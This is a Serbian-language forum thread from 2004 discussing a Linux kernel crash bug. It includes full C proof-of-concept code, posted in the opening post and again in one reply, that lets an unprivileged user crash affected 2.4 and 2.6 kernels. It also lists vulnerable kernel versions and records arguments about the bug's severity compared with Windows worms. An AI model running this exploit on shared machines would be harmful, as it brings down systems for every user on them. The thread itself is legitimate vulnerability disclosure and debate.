Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

New Kernel Crash-Exploit discovered (Linux)

[es] :: Advocacy :: New Kernel Crash-Exploit discovered (Linux)

Strane: 1 2 3 4 5

[ Pregleda: 12014 | Odgovora: 85 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Ivan Dimkovic

Administrator
Član broj: 13
Poruke: 16687
*.dip.t-dialin.net



+7173 Profil

icon New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 21:47 - pre 241 meseci
Da odvojimo ovo od Win majstora teme koja je postala megaflame...

http://reviewed.homelinux.org/...-11_kernel_crash/index.html.en

Dakle - ovo radi i u user i root modu, dakle i remote shell acc je dovoljan da skrka pingvina:

Code:

 #include <sys/time.h>
  #include <signal.h>
  #include <unistd.h>
  
  static void Handler(int ignore)
  {
   char fpubuf[108];
   __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
   write(2, "*", 1);
   __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  }
  
  int main(int argc, char *argv[])
  {
   struct itimerval spec;
   signal(SIGALRM, Handler);
   spec.it_interval.tv_sec=0;
   spec.it_interval.tv_usec=100;
   spec.it_value.tv_sec=0;
   spec.it_value.tv_usec=100;
   setitimer(ITIMER_REAL, &spec, NULL);
   while(1)
    write(1, ".", 1);
  
   return 0;
  }


Impresivno :)

Citat:

* Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (varified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 - (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
o 2.6.3-13mdk (Mandrake)
* Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.20 RH7.3 (gcc 2.96)
o 2.4.18-bf2.4 (debian woody vanilla)

Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent

DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey
 
Odgovor na temu

caboom
Igor Bogicevic
bgd

Član broj: 255
Poruke: 1503
*.vdial.verat.net

ICQ: 60630914


+1 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 21:49 - pre 241 meseci
bogami... zakucava ki zeca.
 
Odgovor na temu

caiser

Član broj: 4677
Poruke: 2462
*.vdial.verat.net

ICQ: 162962030


Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 21:51 - pre 241 meseci
A tacno je i ovo za logove mamu mu...
 
Odgovor na temu

Dragi Tata
Malo ispod Kanade

Član broj: 1958
Poruke: 3906
66.228.70.*



+6 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 22:03 - pre 241 meseci
Sreća te praktično niko ne koristi Linux, tako da ovaj sigurnosni propust neće izazvati nikakvu pometnju. O "Blasteru" i sličnim pojavama su brujale novinske agencije danima - ovo niko neće ni da primeti.
 
Odgovor na temu

caboom
Igor Bogicevic
bgd

Član broj: 255
Poruke: 1503
*.vdial.verat.net

ICQ: 60630914


+1 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 22:04 - pre 241 meseci
sta i da uloguje kada ga zapuni ki zeku, srecom u pitanju je lokalni eksploNJt, ali je po npr. web servere veoma nezgodno sto i obican korisnik moze ovako lepo da napuni kernel.
 
Odgovor na temu

Reljam
Relja Markovic
San Francisco

Član broj: 531
Poruke: 1793
*.microsoft.com



+18 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 22:12 - pre 241 meseci
Citat:
Dragi Tata:Sreća te praktično niko ne koristi Linux, tako da ovaj sigurnosni propust neće izazvati nikakvu pometnju. O "Blasteru" i sličnim pojavama su brujale novinske agencije danima - ovo niko neće ni da primeti.
Da, ovo je dobar primer 'security through obscurity' bezbednosnog modela na Linuxu: jeste da postoji rupa, ali ima suvise malo korisnika tako da ne moze da se dodje do kriticne mase za neki Blaster.
 
Odgovor na temu

caiser

Član broj: 4677
Poruke: 2462
*.vdial.verat.net

ICQ: 162962030


Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 22:44 - pre 241 meseci
Citat:
caboom:sta i da uloguje kada ga zapuni ki zeku, srecom u pitanju je lokalni eksploNJt, ali je po npr. web servere veoma nezgodno sto i obican korisnik moze ovako lepo da napuni kernel.


Pa bas zato. :) Mogao bi da se napenali bezobrazni korisnik. :)
 
Odgovor na temu

caboom
Igor Bogicevic
bgd

Član broj: 255
Poruke: 1503
*.vdial.verat.net

ICQ: 60630914


+1 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 23:07 - pre 241 meseci
pa to jes', ali s' obzirom na specificnost ovog koda latencija do potpunog blokiranja je veoma mala.
 
Odgovor na temu

Ivan Dimkovic

Administrator
Član broj: 13
Poruke: 16687
*.dip.t-dialin.net



+7173 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 23:19 - pre 241 meseci
Kako bre sad ovo - zar nisu rekli da je Linux bezbedan i da ne moze da se srusi?

A kamo ono o user/root razdvajanju i obezbedjivanju sistema :)


DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey
 
Odgovor na temu

jc denton

Član broj: 2358
Poruke: 1705
*.air.tehnicom.net



Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)14.06.2004. u 23:33 - pre 241 meseci
Ma zavera protiv Linuxa bre.
fire, walk with me
 
Odgovor na temu

VRider
Marković Damir
(BGD/SD Karaburma)/Pirot

Član broj: 1510
Poruke: 4132
195.178.35.*

Jabber: damirm | gmail | com
ICQ: 134002435


+13 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 03:09 - pre 241 meseci
E, sabani...
Mozete da me povucete za ... bug...
Code:

[damir@phoenix temp]$ cat test.c
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}
[damir@phoenix temp]$ gcc -o test test.c
[damir@phoenix temp]$ ./test
.................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
.................................................*...............
..................................................................
..................................................................
..................................................................
..................................................................
..................................................................
..*Floating point exception
[damir@phoenix temp]$

Jos samo da mi objasnite kako bi to iskoristili cak i da radi kod mene? Da nemate mozda shell nalog?
JaFreelancer.com
 
Odgovor na temu

caiser

Član broj: 4677
Poruke: 2462
*.verat.net

ICQ: 162962030


Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 06:50 - pre 241 meseci
Sto ce reci, VRider je vec patchovao kernel. :))))
 
Odgovor na temu

popeye
Branko Ivanović
Beograd

Član broj: 3846
Poruke: 960
*.bitsyu.net

Jabber: popeye@elitesecurity.org
ICQ: 18038966
Sajt: popeye.linuxo.org


Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 08:48 - pre 241 meseci
Gentoo distribucija je imala više verzija jezgra 2.4.25 i 2.4.26 koje nisu ni bile ranjive...
 
Odgovor na temu

caiser

Član broj: 4677
Poruke: 2462
*.verat.net

ICQ: 162962030


Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 09:25 - pre 241 meseci
Citat:
Dragi Tata:Sreća te praktično niko ne koristi Linux, tako da ovaj sigurnosni propust neće izazvati nikakvu pometnju. O "Blasteru" i sličnim pojavama su brujale novinske agencije danima - ovo niko neće ni da primeti.


Hehehehe, tek sam sad primetio ovaj komentar. :) Ovde postoji ogromna razlika izmedju ovog bug-a i Blastera (i vecine crva za windows). Dok se Blaster (i vecina crva za windows :) siri sama, za exploatisanje ovog bug-a moras imati direktan pristup kompu i ne moze se izvrsiti njegova automatizacija. :)
 
Odgovor na temu

popeye
Branko Ivanović
Beograd

Član broj: 3846
Poruke: 960
*.bitsyu.net

Jabber: popeye@elitesecurity.org
ICQ: 18038966
Sajt: popeye.linuxo.org


Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 10:36 - pre 241 meseci
I ne radi se o podizanju privilegija, već o obaranju sistema.
 
Odgovor na temu

caiser

Član broj: 4677
Poruke: 2462
*.verat.net

ICQ: 162962030


Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 11:44 - pre 241 meseci
Sto znaci da je bug totalno bezazlen. :o)
 
Odgovor na temu

popeye
Branko Ivanović
Beograd

Član broj: 3846
Poruke: 960
*.pristop.co.yu

Jabber: popeye@elitesecurity.org
ICQ: 18038966
Sajt: popeye.linuxo.org


Profil

icon Re: Legalizacija softvera15.06.2004. u 12:34 - pre 241 meseci
Još malo, pa bi bio feature. :P

Šalu na stranu, ozbiljan propust je u pitanju, ali ako ne postoji način da se preuzmu administratorske privilegije - nije pogodan za virus poput Blastera. Jedino možda za bosanski virus. :)
 
Odgovor na temu

Gojko Vujovic
Amsterdam, NL

Administrator
Član broj: 1
Poruke: 13651



+165 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 12:53 - pre 241 meseci
Ne može da se poredi ovakav propust i Blaster worm.

Ja ne volim kad se linux "gurui" kunu u neprobojnost njihovog miljenika, ali mi još više smeta cinizam windowsaša. :) Kao prvo bilo je još 50 verzija wormova koji su harali windowsom i pre i posle tog blastera. I svaki je prouzrokovao enormnu štetu (novčanu), ako ništa onda zbog downtimea računara koji su bili inficirani. A blaster je pogađao gotovo svaku windows mašinu povezanu na net. Da bi se ovo aktiviralo na linuxu potrebno je imati i shell pristup. To se retko daje neproverenim osobama, kao što ni vi gospodo ne dajete remote desktop access ljudima kojima ne možete da verujete ili kojima ne možete da uđete u trag ukoliko naprave neku glupost. Oni malobrojni shell account serveri će biti patchovani i kraj priče. Eto zašto će ovo proći sa mnogo manje pažnje u javnosti.
 
Odgovor na temu

VRider
Marković Damir
(BGD/SD Karaburma)/Pirot

Član broj: 1510
Poruke: 4132
195.178.35.*

Jabber: damirm | gmail | com
ICQ: 134002435


+13 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 13:30 - pre 241 meseci
Citat:
caiser:Sto ce reci, VRider je vec patchovao kernel. )))

Pa jel' VRider guru, ili nije?
JaFreelancer.com
 
Odgovor na temu

degojs

Član broj: 4716
Poruke: 5096



+51 Profil

icon Re: New Kernel Crash-Exploit discovered (Linux)15.06.2004. u 13:41 - pre 241 meseci
Međutim na Windowsu imaš pojavu da ako samo 0.1% mašina nije zakrpljeno, to je ogroman broj - sasvim dovoljan da izazove veće probleme. Koliko je 0.1% Linux mašina? Nije baš mnogo, zar ne? Ako Win koristi 600M korisnika, 0.1% je 600,000. Mnogo je Gojko.. a daleko od toga da je na Windowsu samo 0.1% onih koji ne vode mnogo računa o ovim stvarima. Kamo sreće.
Commercial-Free !!!
 
Odgovor na temu

[es] :: Advocacy :: New Kernel Crash-Exploit discovered (Linux)

Strane: 1 2 3 4 5

[ Pregleda: 12014 | Odgovora: 85 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.